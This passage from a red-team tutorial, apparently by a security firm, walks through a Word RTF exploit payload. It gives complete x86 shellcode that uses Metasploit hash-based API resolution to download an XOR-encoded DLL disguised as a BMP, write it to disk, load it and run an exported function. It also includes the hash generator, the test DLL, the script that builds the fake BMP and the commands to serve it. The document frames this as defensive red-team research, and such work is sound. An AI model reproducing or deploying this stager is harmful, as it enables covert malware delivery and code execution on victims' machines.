When using MSF’s shellcode, an additional argument is pushed: a simple hash of the library and function’s name. The shellcode will traverse the list of modules loaded in the process, and then each module’s exports. At each interation it will compare the calculated hash with the one pushed by us, until there is a match. So:
push arg_N push arg_N-1 ... push arg_1 push arg_0 push HASH call msf_api
Lets define all the hashes we will use. The code we used is based on the one here.
import sys def ror( dword, bits ): return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF #=============================================================================# def unicode( string, uppercase=True ): result = ""; if uppercase: string = string.upper() for c in string: result += c + "x00" return result #=============================================================================# def hash( module, function, bits=13, print_hash=True ): module_hash = 0 function_hash = 0 for c in unicode( module + "x00" ): module_hash = ror( module_hash, bits ) module_hash += ord( c ) for c in str( function + "x00" ): function_hash = ror( function_hash, bits ) function_hash += ord( c ) h = module_hash + function_hash & 0xFFFFFFFF if print_hash: print "[+] 0x%08X = %s!%s" % ( h, module.lower(), function ) return h if __name__ == '__main__': for x in sys.argv[1:]: module, function = x.split(":", 2) print module, function, hex(hash(module, function, print_hash=False))
We add the definitions to pwn.asm:
VIRTUALALLOC_HASH: equ 0xe553a458 VIRTUALPROTECT_HASH: equ 0xc38ae11 URLDOWNLOADTOCACHEFILE_HASH equ 0xdac0c98f GETFILESIZE_HASH: equ 0x701e12c6 CREATEFILE_HASH: equ 0x4fdaf6da READFILE_HASH: equ 0xbb5f9ead WRITEFILE_HASH: equ 0x5bae572d SETFILEPOINTER_HASH: equ 0xd812cdaa SETENDOFFILE_HASH: equ 0xd7e3cbdb CLOSEHANDLE_HASH: equ 0x528796c6 LOADLIBRARY_HASH: equ 0x726774c GETPROCADDRESS_HASH: equ 0x7802f749 DELETEFILE_HASH: equ 0x13dd2ed7 EXITPROCESS_HASH: equ 0x56a2b5f0
And define a structure in which we will store our variables:
STRUC mydata .api_call: resd 1 ; address of MSF's api .filehandle: resd 1 ; HANDLE given by CreateFileA .filebuf: resd 1 ; address returned by VirtualAlloc .filesize: resd 1 ; size returned by GetFileSize .nbytes: resd 1 ; used by ReadFile and WriteFile .url: resb 256 ; URL we will download the BMP from .down_filename: resb 256 ; URLDownloadToCacheFileA will write here the path where it saved the file .apiname: resb 64 ; the string "doit" passed to GetProcAddress ENDSTRUC
And then we write the code:
cld call start %include "block_api.asm" ; start: pop ebp ; ebp -> api MSF ; we alloc some space for mydata push dword PAGE_READWRITE push dword (MEM_COMMIT | MEM_RESERVE) push mydata_size push 0 push VIRTUALALLOC_HASH call ebp ; save MSF's api address and use ebp as a pointer to mydata mov dword [eax + mydata.api_call], ebp mov ebp, eax ; url = "https://127.0.0.1:8000/asd.bmp" mov dword [ebp + mydata.url], 0x70747468 mov dword [ebp + mydata.url + 4], 0x312f2f3a mov dword [ebp + mydata.url + 8], 0x302e3732 mov dword [ebp + mydata.url + 12], 0x312e302e mov dword [ebp + mydata.url + 16], 0x3030383a mov dword [ebp + mydata.url + 20], 0x73612f30 mov dword [ebp + mydata.url + 24], 0x6d622e64 mov dword [ebp + mydata.url + 28], 0x00000070 ; apiname = "doit" mov dword [ebp + mydata.apiname], 0x74696f64 mov dword [ebp + mydata.apiname + 4], 0x00000000 ; UrlDownloadToCacheFileA(mydata.url, mydata.url_filename, 254, 0, NULL); push 0 ; pBSC push 0 ; dwReserved push 254 ; cchFileName lea eax, [ebp + mydata.down_filename] push eax ; szFileName lea eax, [ebp + mydata.url] push eax ; szUrl push 0 ; lpUnkCaller push URLDOWNLOADTOCACHEFILE_HASH call dword [ebp + mydata.api_call] ; mydata.filehandle = CreateFileA( ; mydata.url_filename, ; GENERIC_READ | GENERIC_WRITE, ; FILE_SHARED_READ, ; 0, ; OPEN_EXISTING, ; FILE_ATTRIBUTE_NORMAL, ; NULL ; ) push dword 0 ; hTemplateFile push dword FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes push dword OPEN_EXISTING ; dwCreationDisposition push dword 0 ; lpSecurityAttributes push dword FILE_SHARE_READ ; dwShareMode push dword (GENERIC_READ | GENERIC_WRITE) ; dwDesiredAccess lea eax, [ebp + mydata.down_filename] push eax push CREATEFILE_HASH call dword [ebp + mydata.api_call] mov dword [ebp + mydata.filehandle], eax ; mydata.filesize = GetFileSize(mydata.filehandle, NULL) push dword 0 ; lpFileSizeHigh push eax ; hFile push GETFILESIZE_HASH call dword [ebp + mydata.api_call] mov dword [ebp + mydata.filesize], eax ; mydata.filebuf = VirtualAlloc( ; NULL, ; mydata.filesize, ; MEM_COMMIT | MEM_RESERVE, ; PAGE_READWRITE ; ); push dword PAGE_READWRITE push dword (MEM_COMMIT | MEM_RESERVE) push eax push 0 push VIRTUALALLOC_HASH call dword [ebp + mydata.api_call] mov dword [ebp + mydata.filebuf], eax ; ReadFile( ; mydata.filehandle, ; mydata.filebuf, ; mydata.filesize, ; &mydata.nbytes, ; NULL ; ) push dword 0 ; lpOverlapped lea ecx, [ebp + mydata.nbytes] push ecx ; lpNumberOfBytesRead mov ecx, dword [ebp + mydata.filesize] push ecx ; nNumberOfBytesToRead push eax ; lpBuffer mov eax, dword [ebp + mydata.filehandle] push eax ; hFile push READFILE_HASH call dword [ebp + mydata.api_call] ; dll = bmp + 58; ; for(unsigned int i = 0; i < filesize; i += 4) { ; tmp = * ((DWORD *) &dll[i]); ; tmp ^= 0x1337c0de ; } mov edi, dword [ebp + mydata.filebuf] add edi, 58 mov ecx, dword [ebp + mydata.filesize] sub ecx, 58 sar ecx, 2 decode_loop: xor dword [edi], 0x1337c0de add edi, 4 dec ecx jnz decode_loop ; SetFilePointer(mydata.filehandle, 0, 0, FILE_BEGIN) push dword FILE_BEGIN ; dwMoveMethod push dword 0 ; lpDistanceToMoveHigh push dword 0 ; lDistanceToMove mov eax, dword [ebp + mydata.filehandle] push eax push SETFILEPOINTER_HASH call dword [ebp + mydata.api_call] ; WriteFile( ; mydata.filehandle, ; mydata.filebuf + 58, ; mydata.filesize - 58, ; &mydata.nbytes, ; NULL ; ) push dword 0 ; lpOverlapped lea eax, [ebp + mydata.nbytes] push eax ; lpNumberOfBytesWritten mov eax, dword [ebp + mydata.filesize] sub eax, 58 push eax ; nNumberOfBytesToWrite mov eax, dword [ebp + mydata.filebuf] add eax, 58 push eax ; lpBuffer mov eax, dword [ebp + mydata.filehandle] push eax ; hFile push WRITEFILE_HASH call dword [ebp + mydata.api_call] ; SetEndOfFile(mydata.filehandle) mov eax, dword [ebp + mydata.filehandle] push eax push SETENDOFFILE_HASH call dword [ebp + mydata.api_call] ; CloseHandle(mydata.filehandle) mov eax, dword [ebp + mydata.filehandle] push eax push CLOSEHANDLE_HASH call dword [ebp + mydata.api_call] ; eax = LoadLibraryA(mydata.down_filename) lea eax, [ebp + mydata.down_filename] push eax push LOADLIBRARY_HASH call dword [ebp + mydata.api_call] ; eax = GetProcAddress(eax, mydata.apiname) lea ebx, [ebp + mydata.apiname] push ebx push eax push GETPROCADDRESS_HASH call dword [ebp + mydata.api_call] ; eax() call eax ; ExitProcess() push 0 push EXITPROCESS_HASH call dword [ebp + mydata.api_call]
We finish the shellcode with a call to ExitProcess(). We assembly it:
$ nasm -o pwn.bin pwn.asm $ ls -la pwn.bin -rw-r--r-- 1 i i 519 Nov 8 11:36 pwn.bin
And then slightly modify our code to load the shellcode:
shellcode = open("pwn.bin", "rb").read()
Write a simple DLL to just display a message box:
#include int __declspec(dllexport) doit() { HANDLE current_process; char modulepath[MAX_PATH] = { 0 }; char *txt = NULL; current_process = GetModuleHandleA(NULL); if (NULL != current_process) { if (0 != GetModuleFileNameA((HMODULE)current_process, modulepath, MAX_PATH)) { txt = modulepath; } } if (NULL == txt) { txt = ""; } MessageBoxA(NULL, txt, "Hi from", MB_OK); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
And create the fake BMP:
import struct import sys k = struct.pack("<L", 0x1337c0de) key = bytearray(k) if __name__ == '__main__': f = open(sys.argv[1], "rb") b = bytearray(f.read()) f.close() for i in range(len(b)): b[i] = b[i] ^ key[i % len(key)] f = open(sys.argv[2], "wb") b = ("a" * 58) + b ; not a bmp huh? f.write(b) f.close()
Start an HTTP server in the folder where we have saved asd.bmp:
$ python -m SimpleHTTPServer 8000
And finally open the RTF with Word:
0x06 – Final words
This kind of exercises and research performed by the Red Team allow to check the robustness of the hardening methods and the effectiveness of the possible anti-APT and EDR solutions deployed in out clien’ts machines. Additionally, breaking into corporate networks through this kind of exploitation, simulating an APT, trains the defense team on this kind of security incidents.
Discover our work and cybersecurity services at www.tarlogic.com